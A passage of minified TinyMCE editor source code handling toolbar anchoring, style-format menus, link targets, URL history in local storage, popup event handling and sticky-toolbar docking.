}, onLtr: function () { return [south$2]; } } }; }; return function () { return lazyUseEditableAreaAnchor() ? editableAreaAnchor() : standardAnchor(); }; }; var getCursorAnchor = function (editor, bodyElement) { return function () { return { type: 'selection', root: bodyElement(), getSelection: function () { var rng = editor.selection.getRng(); return Optional.some(SimSelection.range(SugarElement.fromDom(rng.startContainer), rng.startOffset, SugarElement.fromDom(rng.endContainer), rng.endOffset)); } }; }; }; var getNodeAnchor$1 = function (bodyElement) { return function (element) { return { type: 'node', root: bodyElement(), node: element }; }; }; var getAnchors = function (editor, lazyAnchorbar, isToolbarTop) { var useFixedToolbarContainer = useFixedContainer(editor); var bodyElement = function () { return SugarElement.fromDom(editor.getBody()); }; var contentAreaElement = function () { return SugarElement.fromDom(editor.getContentAreaContainer()); }; var lazyUseEditableAreaAnchor = function () { return useFixedToolbarContainer || !isToolbarTop(); }; return { inlineDialog: getInlineDialogAnchor(contentAreaElement, lazyAnchorbar, lazyUseEditableAreaAnchor), banner: getBannerAnchor(contentAreaElement, lazyAnchorbar, lazyUseEditableAreaAnchor), cursor: getCursorAnchor(editor, bodyElement), node: getNodeAnchor$1(bodyElement) }; }; var colorPicker = function (editor) { return function (callback, value) { var dialog = colorPickerDialog(editor); dialog(callback, value); }; }; var hasCustomColors = function (editor) { return function () { return hasCustomColors$1(editor); }; }; var getColors = function (editor) { return function () { return getColors$2(editor); }; }; var getColorCols = function (editor) { return function () { return getColorCols$1(editor); }; }; var ColorInputBackstage = function (editor) { return { colorPicker: colorPicker(editor), hasCustomColors: hasCustomColors(editor), getColors: getColors(editor), getColorCols: getColorCols(editor) }; }; var isDraggableModal = function (editor) { return function () { return isDraggableModal$1(editor); }; }; var DialogBackstage = function (editor) { return { isDraggableModal: isDraggableModal(editor) }; }; var HeaderBackstage = function (editor) { var mode = Cell(isToolbarLocationBottom(editor) ? 'bottom' : 'top'); return { isPositionedAtTop: function () { return mode.get() === 'top'; }, getDockingMode: mode.get, setDockingMode: mode.set }; }; var defaultStyleFormats = [ { title: 'Headings', items: [ { title: 'Heading 1', format: 'h1' }, { title: 'Heading 2', format: 'h2' }, { title: 'Heading 3', format: 'h3' }, { title: 'Heading 4', format: 'h4' }, { title: 'Heading 5', format: 'h5' }, { title: 'Heading 6', format: 'h6' } ] }, { title: 'Inline', items: [ { title: 'Bold', format: 'bold' }, { title: 'Italic', format: 'italic' }, { title: 'Underline', format: 'underline' }, { title: 'Strikethrough', format: 'strikethrough' }, { title: 'Superscript', format: 'superscript' }, { title: 'Subscript', format: 'subscript' }, { title: 'Code', format: 'code' } ] }, { title: 'Blocks', items: [ { title: 'Paragraph', format: 'p' }, { title: 'Blockquote', format: 'blockquote' }, { title: 'Div', format: 'div' }, { title: 'Pre', format: 'pre' } ] }, { title: 'Align', items: [ { title: 'Left', format: 'alignleft' }, { title: 'Center', format: 'aligncenter' }, { title: 'Right', format: 'alignright' }, { title: 'Justify', format: 'alignjustify' } ] } ]; var isNestedFormat = function (format) { return has$2(format, 'items'); }; var isBlockFormat = function (format) { return has$2(format, 'block'); }; var isInlineFormat = function (format) { return has$2(format, 'inline'); }; var isSelectorFormat = function (format) { return has$2(format, 'selector'); }; var mapFormats = function (userFormats) { return foldl(userFormats, function (acc, fmt) { if (isNestedFormat(fmt)) { var result = mapFormats(fmt.items); return { customFormats: acc.customFormats.concat(result.customFormats), formats: acc.formats.concat([{ title: fmt.title, items: result.formats }]) }; } else if (isInlineFormat(fmt) || isBlockFormat(fmt) || isSelectorFormat(fmt)) { var formatName = isString(fmt.name) ? fmt.name : fmt.title.toLowerCase(); var formatNameWithPrefix = 'custom-' + formatName; return { customFormats: acc.customFormats.concat([{ name: formatNameWithPrefix, format: fmt }]), formats: acc.formats.concat([{ title: fmt.title, format: formatNameWithPrefix, icon: fmt.icon }]) }; } else { return __assign(__assign({}, acc), { formats: acc.formats.concat(fmt) }); } }, { customFormats: [], formats: [] }); }; var registerCustomFormats = function (editor, userFormats) { var result = mapFormats(userFormats); var registerFormats = function (customFormats) { each$1(customFormats, function (fmt) { if (!editor.formatter.has(fmt.name)) { editor.formatter.register(fmt.name, fmt.format); } }); }; if (editor.formatter) { registerFormats(result.customFormats); } else { editor.on('init', function () { registerFormats(result.customFormats); }); } return result.formats; }; var getStyleFormats = function (editor) { return getUserStyleFormats(editor).map(function (userFormats) { var registeredUserFormats = registerCustomFormats(editor, userFormats); return isMergeStyleFormats(editor) ? defaultStyleFormats.concat(registeredUserFormats) : registeredUserFormats; }).getOr(defaultStyleFormats); }; var processBasic = function (item, isSelectedFor, getPreviewFor) { var formatterSpec = { type: 'formatter', isSelected: isSelectedFor(item.format), getStylePreview: getPreviewFor(item.format) }; return deepMerge(item, formatterSpec); }; var register$8 = function (editor, formats, isSelectedFor, getPreviewFor) { var enrichSupported = function (item) { return processBasic(item, isSelectedFor, getPreviewFor); }; var enrichMenu = function (item) { var submenuSpec = { type: 'submenu' }; return deepMerge(item, submenuSpec); }; var enrichCustom = function (item) { var formatName = isString(item.name) ? item.name : generate$6(item.title); var formatNameWithPrefix = 'custom-' + formatName; var customSpec = { type: 'formatter', format: formatNameWithPrefix, isSelected: isSelectedFor(formatNameWithPrefix), getStylePreview: getPreviewFor(formatNameWithPrefix) }; var newItem = deepMerge(item, customSpec); editor.formatter.register(formatName, newItem); return newItem; }; var doEnrich = function (items) { return map$2(items, function (item) { var keys$1 = keys(item); if (hasNonNullableKey(item, 'items')) { var newItems = doEnrich(item.items); return deepMerge(enrichMenu(item), { getStyleItems: constant$1(newItems) }); } else if (hasNonNullableKey(item, 'format')) { return enrichSupported(item); } else if (keys$1.length === 1 && contains$2(keys$1, 'title')) { return deepMerge(item, { type: 'separator' }); } else { return enrichCustom(item); } }); }; return doEnrich(formats); }; var init$8 = function (editor) { var isSelectedFor = function (format) { return function () { return editor.formatter.match(format); }; }; var getPreviewFor = function (format) { return function () { var fmt = editor.formatter.get(format); return fmt !== undefined ? Optional.some({ tag: fmt.length > 0 ? fmt[0].inline || fmt[0].block || 'div' : 'div', styles: editor.dom.parseStyle(editor.formatter.getCssText(format)) }) : Optional.none(); }; }; var flatten = function (fmt) { var subs = fmt.items; return subs !== undefined && subs.length > 0 ? bind$3(subs, flatten) : [fmt.format]; }; var settingsFormats = Cell([]); var settingsFlattenedFormats = Cell([]); var eventsFormats = Cell([]); var eventsFlattenedFormats = Cell([]); var replaceSettings = Cell(false); editor.on('PreInit', function (_e) { var formats = getStyleFormats(editor); var enriched = register$8(editor, formats, isSelectedFor, getPreviewFor); settingsFormats.set(enriched); settingsFlattenedFormats.set(bind$3(enriched, flatten)); }); editor.on('addStyleModifications', function (e) { var modifications = register$8(editor, e.items, isSelectedFor, getPreviewFor); eventsFormats.set(modifications); replaceSettings.set(e.replace); eventsFlattenedFormats.set(bind$3(modifications, flatten)); }); var getData = function () { var fromSettings = replaceSettings.get() ? [] : settingsFormats.get(); var fromEvents = eventsFormats.get(); return fromSettings.concat(fromEvents); }; var getFlattenedKeys = function () { var fromSettings = replaceSettings.get() ? [] : settingsFlattenedFormats.get(); var fromEvents = eventsFlattenedFormats.get(); return fromSettings.concat(fromEvents); }; return { getData: getData, getFlattenedKeys: getFlattenedKeys }; }; var isElement = function (node) { return isNonNullable(node) && node.nodeType === 1; }; var trim = global$5.trim; var hasContentEditableState = function (value) { return function (node) { if (isElement(node)) { if (node.contentEditable === value) { return true; } if (node.getAttribute('data-mce-contenteditable') === value) { return true; } } return false; }; }; var isContentEditableTrue = hasContentEditableState('true'); var isContentEditableFalse = hasContentEditableState('false'); var create = function (type, title, url, level, attach) { return { type: type, title: title, url: url, level: level, attach: attach }; }; var isChildOfContentEditableTrue = function (node) { while (node = node.parentNode) { var value = node.contentEditable; if (value && value !== 'inherit') { return isContentEditableTrue(node); } } return false; }; var select = function (selector, root) { return map$2(descendants(SugarElement.fromDom(root), selector), function (element) { return element.dom; }); }; var getElementText = function (elm) { return elm.innerText || elm.textContent; }; var getOrGenerateId = function (elm) { return elm.id ? elm.id : generate$6('h'); }; var isAnchor = function (elm) { return elm && elm.nodeName === 'A' && (elm.id || elm.name) !== undefined; }; var isValidAnchor = function (elm) { return isAnchor(elm) && isEditable(elm); }; var isHeader = function (elm) { return elm && /^(H[1-6])$/.test(elm.nodeName); }; var isEditable = function (elm) { return isChildOfContentEditableTrue(elm) && !isContentEditableFalse(elm); }; var isValidHeader = function (elm) { return isHeader(elm) && isEditable(elm); }; var getLevel = function (elm) { return isHeader(elm) ? parseInt(elm.nodeName.substr(1), 10) : 0; }; var headerTarget = function (elm) { var headerId = getOrGenerateId(elm); var attach = function () { elm.id = headerId; }; return create('header', getElementText(elm), '#' + headerId, getLevel(elm), attach); }; var anchorTarget = function (elm) { var anchorId = elm.id || elm.name; var anchorText = getElementText(elm); return create('anchor', anchorText ? anchorText : '#' + anchorId, '#' + anchorId, 0, noop); }; var getHeaderTargets = function (elms) { return map$2(filter$2(elms, isValidHeader), headerTarget); }; var getAnchorTargets = function (elms) { return map$2(filter$2(elms, isValidAnchor), anchorTarget); }; var getTargetElements = function (elm) { var elms = select('h1,h2,h3,h4,h5,h6,a:not([href])', elm); return elms; }; var hasTitle = function (target) { return trim(target.title).length > 0; }; var find = function (elm) { var elms = getTargetElements(elm); return filter$2(getHeaderTargets(elms).concat(getAnchorTargets(elms)), hasTitle); }; var LinkTargets = { find: find }; var STORAGE_KEY = 'tinymce-url-history'; var HISTORY_LENGTH = 5; var isHttpUrl = function (url) { return isString(url) && /^https?/.test(url); }; var isArrayOfUrl = function (a) { return isArray(a) && a.length <= HISTORY_LENGTH && forall(a, isHttpUrl); }; var isRecordOfUrlArray = function (r) { return isObject(r) && find$4(r, function (value) { return !isArrayOfUrl(value); }).isNone(); }; var getAllHistory = function () { var unparsedHistory = global$8.getItem(STORAGE_KEY); if (unparsedHistory === null) { return {}; } var history; try { history = JSON.parse(unparsedHistory); } catch (e) { if (e instanceof SyntaxError) { console.log('Local storage ' + STORAGE_KEY + ' was not valid JSON', e); return {}; } throw e; } if (!isRecordOfUrlArray(history)) { console.log('Local storage ' + STORAGE_KEY + ' was not valid format', history); return {}; } return history; }; var setAllHistory = function (history) { if (!isRecordOfUrlArray(history)) { throw new Error('Bad format for history:\n' + JSON.stringify(history)); } global$8.setItem(STORAGE_KEY, JSON.stringify(history)); }; var getHistory = function (fileType) { var history = getAllHistory(); return get$e(history, fileType).getOr([]); }; var addToHistory = function (url, fileType) { if (!isHttpUrl(url)) { return; } var history = getAllHistory(); var items = get$e(history, fileType).getOr([]); var itemsWithoutUrl = filter$2(items, function (item) { return item !== url; }); history[fileType] = [url].concat(itemsWithoutUrl).slice(0, HISTORY_LENGTH); setAllHistory(history); }; var isTruthy = function (value) { return !!value; }; var makeMap = function (value) { return map$1(global$5.makeMap(value, /[, ]/), isTruthy); }; var getPicker = function (editor) { return Optional.from(getFilePickerCallback(editor)).filter(isFunction); }; var getPickerTypes = function (editor) { var optFileTypes = Optional.some(getFilePickerTypes(editor)).filter(isTruthy); var optLegacyTypes = Optional.some(getFileBrowserCallbackTypes(editor)).filter(isTruthy); var optTypes = optFileTypes.or(optLegacyTypes).map(makeMap); return getPicker(editor).fold(never, function (_picker) { return optTypes.fold(always, function (types) { return keys(types).length > 0 ? types : false; }); }); }; var getPickerSetting = function (editor, filetype) { var pickerTypes = getPickerTypes(editor); if (isBoolean(pickerTypes)) { return pickerTypes ? getPicker(editor) : Optional.none(); } else { return pickerTypes[filetype] ? getPicker(editor) : Optional.none(); } }; var getUrlPicker = function (editor, filetype) { return getPickerSetting(editor, filetype).map(function (picker) { return function (entry) { return Future.nu(function (completer) { var handler = function (value, meta) { if (!isString(value)) { throw new Error('Expected value to be string'); } if (meta !== undefined && !isObject(meta)) { throw new Error('Expected meta to be a object'); } var r = { value: value, meta: meta }; completer(r); }; var meta = __assign({ filetype: filetype, fieldname: entry.fieldname }, Optional.from(entry.meta).getOr({})); picker.call(editor, handler, entry.value, meta); }); }; }); }; var getTextSetting = function (value) { return Optional.from(value).filter(isString).getOrUndefined(); }; var getLinkInformation = function (editor) { if (noTypeaheadUrls(editor)) { return Optional.none(); } return Optional.some({ targets: LinkTargets.find(editor.getBody()), anchorTop: getTextSetting(getAnchorTop(editor)), anchorBottom: getTextSetting(getAnchorBottom(editor)) }); }; var getValidationHandler = function (editor) { return Optional.from(getFilePickerValidatorHandler(editor)); }; var UrlInputBackstage = function (editor) { return { getHistory: getHistory, addToHistory: addToHistory, getLinkInformation: function () { return getLinkInformation(editor); }, getValidationHandler: function () { return getValidationHandler(editor); }, getUrlPicker: function (filetype) { return getUrlPicker(editor, filetype); } }; }; var init$7 = function (sink, editor, lazyAnchorbar) { var contextMenuState = Cell(false); var toolbar = HeaderBackstage(editor); var backstage = { shared: { providers: { icons: function () { return editor.ui.registry.getAll().icons; }, menuItems: function () { return editor.ui.registry.getAll().menuItems; }, translate: global$e.translate, isDisabled: function () { return editor.mode.isReadOnly() || editor.ui.isDisabled(); }, getSetting: editor.getParam.bind(editor) }, interpreter: function (s) { return interpretWithoutForm(s, backstage); }, anchors: getAnchors(editor, lazyAnchorbar, toolbar.isPositionedAtTop), header: toolbar, getSink: function () { return Result.value(sink); } }, urlinput: UrlInputBackstage(editor), styleselect: init$8(editor), colorinput: ColorInputBackstage(editor), dialog: DialogBackstage(editor), isContextMenuOpen: function () { return contextMenuState.get(); }, setContextMenuState: function (state) { return contextMenuState.set(state); } }; return backstage; }; var setup$b = function (editor, mothership, uiMothership) { var broadcastEvent = function (name, evt) { each$1([ mothership, uiMothership ], function (ship) { ship.broadcastEvent(name, evt); }); }; var broadcastOn = function (channel, message) { each$1([ mothership, uiMothership ], function (ship) { ship.broadcastOn([channel], message); }); }; var fireDismissPopups = function (evt) { return broadcastOn(dismissPopups(), { target: evt.target }); }; var doc = getDocument(); var onTouchstart = bind(doc, 'touchstart', fireDismissPopups); var onTouchmove = bind(doc, 'touchmove', function (evt) { return broadcastEvent(documentTouchmove(), evt); }); var onTouchend = bind(doc, 'touchend', function (evt) { return broadcastEvent(documentTouchend(), evt); }); var onMousedown = bind(doc, 'mousedown', fireDismissPopups); var onMouseup = bind(doc, 'mouseup', function (evt) { if (evt.raw.button === 0) { broadcastOn(mouseReleased(), { target: evt.target }); } }); var onContentClick = function (raw) { return broadcastOn(dismissPopups(), { target: SugarElement.fromDom(raw.target) }); }; var onContentMouseup = function (raw) { if (raw.button === 0) { broadcastOn(mouseReleased(), { target: SugarElement.fromDom(raw.target) }); } }; var onContentMousedown = function () { each$1(editor.editorManager.get(), function (loopEditor) { if (editor !== loopEditor) { loopEditor.fire('DismissPopups', { relatedTarget: editor }); } }); }; var onWindowScroll = function (evt) { return broadcastEvent(windowScroll(), fromRawEvent(evt)); }; var onWindowResize = function (evt) { broadcastOn(repositionPopups(), {}); broadcastEvent(windowResize(), fromRawEvent(evt)); }; var onEditorResize = function () { return broadcastOn(repositionPopups(), {}); }; var onEditorProgress = function (evt) { if (evt.state) { broadcastOn(dismissPopups(), { target: SugarElement.fromDom(editor.getContainer()) }); } }; var onDismissPopups = function (event) { broadcastOn(dismissPopups(), { target: SugarElement.fromDom(event.relatedTarget.getContainer()) }); }; editor.on('PostRender', function () { editor.on('click', onContentClick); editor.on('tap', onContentClick); editor.on('mouseup', onContentMouseup); editor.on('mousedown', onContentMousedown); editor.on('ScrollWindow', onWindowScroll); editor.on('ResizeWindow', onWindowResize); editor.on('ResizeEditor', onEditorResize); editor.on('AfterProgressState', onEditorProgress); editor.on('DismissPopups', onDismissPopups); }); editor.on('remove', function () { editor.off('click', onContentClick); editor.off('tap', onContentClick); editor.off('mouseup', onContentMouseup); editor.off('mousedown', onContentMousedown); editor.off('ScrollWindow', onWindowScroll); editor.off('ResizeWindow', onWindowResize); editor.off('ResizeEditor', onEditorResize); editor.off('AfterProgressState', onEditorProgress); editor.off('DismissPopups', onDismissPopups); onMousedown.unbind(); onTouchstart.unbind(); onTouchmove.unbind(); onTouchend.unbind(); onMouseup.unbind(); }); editor.on('detach', function () { detachSystem(mothership); detachSystem(uiMothership); mothership.destroy(); uiMothership.destroy(); }); }; var parts$a = AlloyParts; var partType = PartType; var schema$f = constant$1([ defaulted('shell', false), required$1('makeItem'), defaulted('setupItem', noop), SketchBehaviours.field('listBehaviours', [Replacing]) ]); var customListDetail = function () { return { behaviours: derive$1([Replacing.config({})]) }; }; var itemsPart = optional({ name: 'items', overrides: customListDetail }); var parts$9 = constant$1([itemsPart]); var name = constant$1('CustomList'); var factory$d = function (detail, components, _spec, _external) { var setItems = function (list, items) { getListContainer(list).fold(function () { console.error('Custom List was defined to not be a shell, but no item container was specified in components'); throw new Error('Custom List was defined to not be a shell, but no item container was specified in components'); }, function (container) { var itemComps = Replacing.contents(container); var numListsRequired = items.length; var numListsToAdd = numListsRequired - itemComps.length; var itemsToAdd = numListsToAdd > 0 ? range$2(numListsToAdd, function () { return detail.makeItem(); }) : []; var itemsToRemove = itemComps.slice(numListsRequired); each$1(itemsToRemove, function (item) { return Replacing.remove(container, item); }); each$1(itemsToAdd, function (item) { return Replacing.append(container, item); }); var builtLists = Replacing.contents(container); each$1(builtLists, function (item, i) { detail.setupItem(list, item, items[i], i); }); }); }; var extra = detail.shell ? { behaviours: [Replacing.config({})], components: [] } : { behaviours: [], components: components }; var getListContainer = function (component) { return detail.shell ? Optional.some(component) : getPart(component, detail, 'items'); }; return { uid: detail.uid, dom: detail.dom, components: extra.components, behaviours: augment(detail.listBehaviours, extra.behaviours), apis: { setItems: setItems } }; }; var CustomList = composite({ name: name(), configFields: schema$f(), partFields: parts$9(), factory: factory$d, apis: { setItems: function (apis, list, items) { apis.setItems(list, items); } } }); var schema$e = constant$1([ required$1('dom'), defaulted('shell', true), field('toolbarBehaviours', [Replacing]) ]); var enhanceGroups = function () { return { behaviours: derive$1([Replacing.config({})]) }; }; var parts$8 = constant$1([optional({ name: 'groups', overrides: enhanceGroups })]); var factory$c = function (detail, components, _spec, _externals) { var setGroups = function (toolbar, groups) { getGroupContainer(toolbar).fold(function () { console.error('Toolbar was defined to not be a shell, but no groups container was specified in components'); throw new Error('Toolbar was defined to not be a shell, but no groups container was specified in components'); }, function (container) { Replacing.set(container, groups); }); }; var getGroupContainer = function (component) { return detail.shell ? Optional.some(component) : getPart(component, detail, 'groups'); }; var extra = detail.shell ? { behaviours: [Replacing.config({})], components: [] } : { behaviours: [], components: components }; return { uid: detail.uid, dom: detail.dom, components: extra.components, behaviours: augment(detail.toolbarBehaviours, extra.behaviours), apis: { setGroups: setGroups }, domModification: { attributes: { role: 'group' } } }; }; var Toolbar = composite({ name: 'Toolbar', configFields: schema$e(), partFields: parts$8(), factory: factory$c, apis: { setGroups: function (apis, toolbar, groups) { apis.setGroups(toolbar, groups); } } }); var setup$a = noop; var isDocked$2 = never; var getBehaviours$1 = constant$1([]); var StaticHeader = /*#__PURE__*/Object.freeze({ __proto__: null, setup: setup$a, isDocked: isDocked$2, getBehaviours: getBehaviours$1 }); var getOffsetParent = function (element) { var isFixed = is$1(getRaw(element, 'position'), 'fixed'); var offsetParent$1 = isFixed ? Optional.none() : offsetParent(element); return offsetParent$1.orThunk(function () { var marker = SugarElement.fromTag('span'); return parent(element).bind(function (parent) { append$2(parent, marker); var offsetParent$1 = offsetParent(marker); remove$5(marker); return offsetParent$1; }); }); }; var getOrigin = function (element) { return getOffsetParent(element).map(absolute$3).getOrThunk(function () { return SugarPosition(0, 0); }); }; var morphAdt = Adt.generate([ { static: [] }, { absolute: ['positionCss'] }, { fixed: ['positionCss'] } ]); var appear = function (component, contextualInfo) { var elem = component.element; add$2(elem, contextualInfo.transitionClass); remove$2(elem, contextualInfo.fadeOutClass); add$2(elem, contextualInfo.fadeInClass); contextualInfo.onShow(component); }; var disappear = function (component, contextualInfo) { var elem = component.element; add$2(elem, contextualInfo.transitionClass); remove$2(elem, contextualInfo.fadeInClass); add$2(elem, contextualInfo.fadeOutClass); contextualInfo.onHide(component); }; var isPartiallyVisible = function (box, viewport) { return box.y < viewport.bottom && box.bottom > viewport.y; }; var isTopCompletelyVisible = function (box, viewport) { return box.y >= viewport.y; }; var isBottomCompletelyVisible = function (box, viewport) { return box.bottom <= viewport.bottom; }; var isVisibleForModes = function (modes, box, viewport) { return forall(modes, function (mode) { switch (mode) { case 'bottom': return isBottomCompletelyVisible(box, viewport); case 'top': return isTopCompletelyVisible(box, viewport); } }); }; var getPrior = function (elem, state) { return state.getInitialPos().map(function (pos) { return bounds(pos.bounds.x, pos.bounds.y, get$a(elem), get$b(elem)); }); }; var storePrior = function (elem, box, state) { state.setInitialPos({ style: getAllRaw(elem), position: get$c(elem, 'position') || 'static', bounds: box }); }; var revertToOriginal = function (elem, box, state) { return state.getInitialPos().bind(function (position) { state.clearInitialPos(); switch (position.position) { case 'static': return Optional.some(morphAdt.static()); case 'absolute': var offsetBox_1 = getOffsetParent(elem).map(box$1).getOrThunk(function () { return box$1(body()); }); return Optional.some(morphAdt.absolute(NuPositionCss('absolute', get$e(position.style, 'left').map(function (_left) { return box.x - offsetBox_1.x; }), get$e(position.style, 'top').map(function (_top) { return box.y - offsetBox_1.y; }), get$e(position.style, 'right').map(function (_right) { return offsetBox_1.right - box.right; }), get$e(position.style, 'bottom').map(function (_bottom) { return offsetBox_1.bottom - box.bottom; })))); default: return Optional.none(); } }); }; var morphToOriginal = function (elem, viewport, state) { return getPrior(elem, state).filter(function (box) { return isVisibleForModes(state.getModes(), box, viewport); }).bind(function (box) { return revertToOriginal(elem, box, state); }); }; var morphToFixed = function (elem, viewport, state) { var box = box$1(elem); if (!isVisibleForModes(state.getModes(), box, viewport)) { storePrior(elem, box, state); var winBox = win(); var left = box.x - winBox.x; var top_1 = viewport.y - winBox.y; var bottom = winBox.bottom - viewport.bottom; var isTop = box.y <= viewport.y; return Optional.some(morphAdt.fixed(NuPositionCss('fixed', Optional.some(left), isTop ? Optional.some(top_1) : Optional.none(), Optional.none(), !isTop ? Optional.some(bottom) : Optional.none()))); } else { return Optional.none(); } }; var getMorph = function (component, viewport, state) { var elem = component.element; var isDocked = is$1(getRaw(elem, 'position'), 'fixed'); return isDocked ? morphToOriginal(elem, viewport, state) : morphToFixed(elem, viewport, state); }; var getMorphToOriginal = function (component, state) { var elem = component.element; return getPrior(elem, state).bind(function (box) { return revertToOriginal(elem, box, state); }); }; var morphToStatic = function (component, config, state) { state.setDocked(false); each$1([ 'left', 'right', 'top', 'bottom', 'position' ], function (prop) { return remove$6(component.element, prop); }); config.onUndocked(component); }; var morphToCoord = function (component, config, state, position) { var isDocked = position.position === 'fixed'; state.setDocked(isDocked); applyPositionCss(component.element, position); var method = isDocked ? config.onDocked : config.onUndocked; method(component); }; var updateVisibility = function (component, config, state, viewport, morphToDocked) { if (morphToDocked === void 0) { morphToDocked = false; } config.contextual.each(function (contextInfo) { contextInfo.lazyContext(component).each(function (box) { var isVisible = isPartiallyVisible(box, viewport); if (isVisible !== state.isVisible()) { state.setVisible(isVisible); if (morphToDocked && !isVisible) { add$1(component.element, [contextInfo.fadeOutClass]); contextInfo.onHide(component); } else { var method = isVisible ? appear : disappear; method(component, contextInfo); } } }); }); }; var refreshInternal = function (component, config, state) { var viewport = config.lazyViewport(component); var isDocked = state.isDocked(); if (isDocked) { updateVisibility(component, config, state, viewport); } getMorph(component, viewport, state).each(function (morph) { morph.fold(function () { return morphToStatic(component, config, state); }, function (position) { return morphToCoord(component, config, state, position); }, function (position) { updateVisibility(component, config, state, viewport, true); morphToCoord(component, config, state, position); }); }); }; var resetInternal = function (component, config, state) { var elem = component.element; state.setDocked(false); getMorphToOriginal(component, state).each(function (morph) { morph.fold(function () { return morphToStatic(component, config, state); }, function (position) { return morphToCoord(component, config, state, position); }, noop); }); state.setVisible(true); config.contextual.each(function (contextInfo) { remove$1(elem, [ contextInfo.fadeInClass, contextInfo.fadeOutClass, contextInfo.transitionClass ]); contextInfo.onShow(component); }); refresh$4(component, config, state); }; var refresh$4 = function (component, config, state) { if (component.getSystem().isConnected()) { refreshInternal(component, config, state); } }; var reset = function (component, config, state) { if (state.isDocked()) { resetInternal(component, config, state); } }; var isDocked$1 = function (component, config, state) { return state.isDocked(); }; var setModes = function (component, config, state, modes) { return state.setModes(modes); }; var getModes = function (component, config, state) { return state.getModes(); }; var DockingApis = /*#__PURE__*/Object.freeze({ __proto__: null, refresh: refresh$4, reset: reset, isDocked: isDocked$1, getModes: getModes, setModes: setModes }); var events$5 = function (dockInfo, dockState) { return derive$2([ runOnSource(transitionend(), function (component, simulatedEvent) { dockInfo.contextual.each(function (contextInfo) { if (has(component.element, contextInfo.transitionClass)) { remove$1(component.element, [ contextInfo.transitionClass, contextInfo.fadeInClass ]); var notify = dockState.isVisible() ? contextInfo.onShown : contextInfo.onHidden; notify(component); } simulatedEvent.stop(); }); }), run$1(windowScroll(), function (component, _) { refresh$4(component, dockInfo, dockState); }), run$1(windowResize(), function (component, _) { reset(component, dockInfo, dockState); }) ]); }; var ActiveDocking = /*#__PURE__*/Object.freeze({ __proto__: null, events: events$5 }); var DockingSchema = [ optionObjOf('contextual', [ requiredString('fadeInClass'), requiredString('fadeOutClass'), requiredString('transitionClass'), requiredFunction('lazyContext'), onHandler('onShow'), onHandler('onShown'), onHandler('onHide'), onHandler('onHidden') ]), defaultedFunction('lazyViewport', win), defaultedArrayOf('modes', [ 'top', 'bottom' ], string), onHandler('onDocked'), onHandler('onUndocked') ]; var init$6 = function (spec) { var docked = Cell(false); var visible = Cell(true); var initialBounds = value$1(); var modes = Cell(spec.modes); var readState = function () { return 'docked: ' + docked.get() + ', visible: ' + visible.get() + ', modes: ' + modes.get().join(','); }; return nu$8({ isDocked: docked.get, setDocked: docked.set, getInitialPos: initialBounds.get, setInitialPos: initialBounds.set, clearInitialPos: initialBounds.clear, isVisible: visible.get, setVisible: visible.set, getModes: modes.get, setModes: modes.set, readState: readState }); }; var DockingState = /*#__PURE__*/Object.freeze({ __proto__: null, init: init$6 }); var Docking = create$7({ fields: DockingSchema, name: 'docking', active: ActiveDocking, apis: DockingApis, state: DockingState }); var toolbarHeightChange = constant$1(generate$6('toolbar-height-change')); var visibility = { fadeInClass: 'tox-editor-dock-fadein', fadeOutClass: 'tox-editor-dock-fadeout', transitionClass: 'tox-editor-dock-transition' }; var editorStickyOnClass = 'tox-tinymce--toolbar-sticky-on'; var editorStickyOffClass = 'tox-tinymce--toolbar-sticky-off'; var scrollFromBehindHeader = function (e, containerHeader) { var doc = owner$4(containerHeader); var viewHeight = doc.dom.defaultView.innerHeight; var scrollPos = get$9(doc); var markerElement = SugarElement.fromDom(e.elm); var markerPos = absolute$2(markerElement); var markerHeight = get$b(markerElement); var markerTop = markerPos.y; var markerBottom = markerTop + markerHeight; var editorHeaderPos = absolute$3(containerHeader); var editorHeaderHeight = get$b(containerHeader); var editorHeaderTop = editorHeaderPos.top; var editorHeaderBottom = editorHeaderTop + editorHeaderHeight; var editorHeaderDockedAtTop = Math.abs(editorHeaderTop - scrollPos.top) < 2; var editorHeaderDockedAtBottom = Math.abs(editorHeaderBottom - (scrollPos.top + viewHeight)) < 2; if (editorHeaderDockedAtTop && markerTop < editorHeaderBottom) { to(scrollPos.left, markerTop - editorHeaderHeight, doc); } else if (editorHeaderDockedAtBottom && markerBottom > editorHeaderTop) { var y = markerTop - viewHeight + markerHeight + editorHeaderHeight; to(scrollPos.left, y, doc); } }; var isDockedMode = function (header, mode) { return contains$2(Docking.getModes(header), mode); }; var updateIframeContentFlow = function (header) { var getOccupiedHeight = function (elm) { return getOuter$2(elm) + (parseInt(get$c(elm, 'margin-top'), 10) || 0) + (parseInt(get$c(elm, 'margin-bottom'), 10) || 0); }; var elm = header.element; parent(elm).each(function (parentElem) { var padding = 'padding-' + Docking.getModes(header)[0]; if (Docking.isDocked(header)) { var parentWidth = get$a(parentElem); set$7(elm, 'width', parentWidth + 'px'); set$7(parentElem, padding, getOccupiedHeight(elm) + 'px'); } else { remove$6(elm, 'width'); remove$6(parentElem, padding); } }); }; var updateSinkVisibility = function (sinkElem, visible) { if (visible) { remove$2(sinkElem, visibility.fadeOutClass); add$1(sinkElem, [ visibility.transitionClass, visibility.fadeInClass ]); } else { remove$2(sinkElem, visibility.fadeInClass); add$1(sinkElem, [ visibility.fadeOutClass, visibility.transitionClass ]); } }; var updateEditorClasses = function (editor, docked) { var editorContainer = SugarElement.fromDom(editor.getContainer()); if (docked) { add$2(editorContainer, editorStickyOnClass); remove$2(editorContainer, editorStickyOffClass); } else { add$2(editorContainer, editorStickyOffClass); remove$2(editorContainer, editorStickyOnClass); } }; var restoreFocus = function (headerElem, focusedElem) { var ownerDoc = owner$4(focusedElem); active(ownerDoc).filter(function (activeElm) { return !eq(focusedElem, activeElm); }).filter(function (activeElm) { return eq(activeElm, SugarElement.fromDom(ownerDoc.dom.body)) || contains(headerElem, activeElm); }).each(function () { return focus$3(focusedElem); }); }; var findFocusedElem = function (rootElm, lazySink) { return search(rootElm).orThunk(function () { return lazySink().toOptional().bind(function (sink) { return search(sink.element); }); }); }; var setup$9 = function (editor, sharedBackstage, lazyHeader) { if (!editor.inline) { if (!sharedBackstage.header.isPositionedAtTop()) { editor.on('ResizeEditor', function () { lazyHeader().each(Docking.reset); }); } editor.on('ResizeWindow ResizeEditor', function () { lazyHeader().each(updateIframeContentFlow); }); editor.on('SkinLoaded', function () { lazyHeader().each(function (comp) { Docking.isDocked(comp) ? Docking.reset(comp) : Docking.refresh(comp); }); }); editor.on('FullscreenStateChanged', function () { lazyHeader().each(Docking.reset); }); } editor.on('AfterScrollIntoView', function (e) { lazyHeader().each(function (header) { Docking.refresh(header); var headerElem = header.element; if (isVisible(headerElem)) { 